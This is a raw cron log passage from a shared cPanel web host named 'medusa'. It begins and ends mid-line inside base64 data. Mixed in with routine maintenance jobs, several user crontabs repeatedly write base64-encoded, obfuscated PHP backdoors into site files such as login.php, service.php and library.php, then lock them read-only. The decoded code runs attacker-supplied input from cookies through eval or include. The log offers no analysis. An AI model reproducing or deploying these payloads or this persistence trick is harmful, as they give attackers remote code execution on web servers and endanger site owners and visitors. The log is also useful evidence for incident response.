J1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:34:02 medusa CROND[15015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:34:02 medusa CROND[15016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:34:02 medusa CROND[15017]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:34:02 medusa CROND[15027]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:34:02 medusa CROND[15023]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:34:02 medusa CROND[15026]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 21:34:02 medusa CROND[15028]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:34:02 medusa CROND[15032]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:34:02 medusa CROND[15033]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:34:02 medusa CROND[15034]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:34:02 medusa CROND[15035]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:34:02 medusa CROND[15037]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:34:02 medusa CROND[15044]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:35:01 medusa CROND[3127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:35:02 medusa CROND[3467]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:35:02 medusa CROND[3480]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 21:35:02 medusa CROND[3479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:35:02 medusa CROND[3481]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 21:35:02 medusa CROND[3484]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:35:02 medusa CROND[3485]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:35:02 medusa CROND[3486]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:35:02 medusa CROND[3489]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 21:35:02 medusa CROND[3483]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 21:35:02 medusa CROND[3490]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 21:35:02 medusa CROND[3491]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 21:35:02 medusa CROND[3493]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 21:35:02 medusa CROND[3496]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:35:02 medusa CROND[3502]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 21:35:02 medusa CROND[3503]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 21:35:02 medusa CROND[3505]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:35:02 medusa CROND[3507]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:35:02 medusa CROND[3513]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:35:02 medusa CROND[3508]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 21:35:02 medusa CROND[3517]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 21:35:02 medusa CROND[3514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 21:35:02 medusa CROND[3519]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxW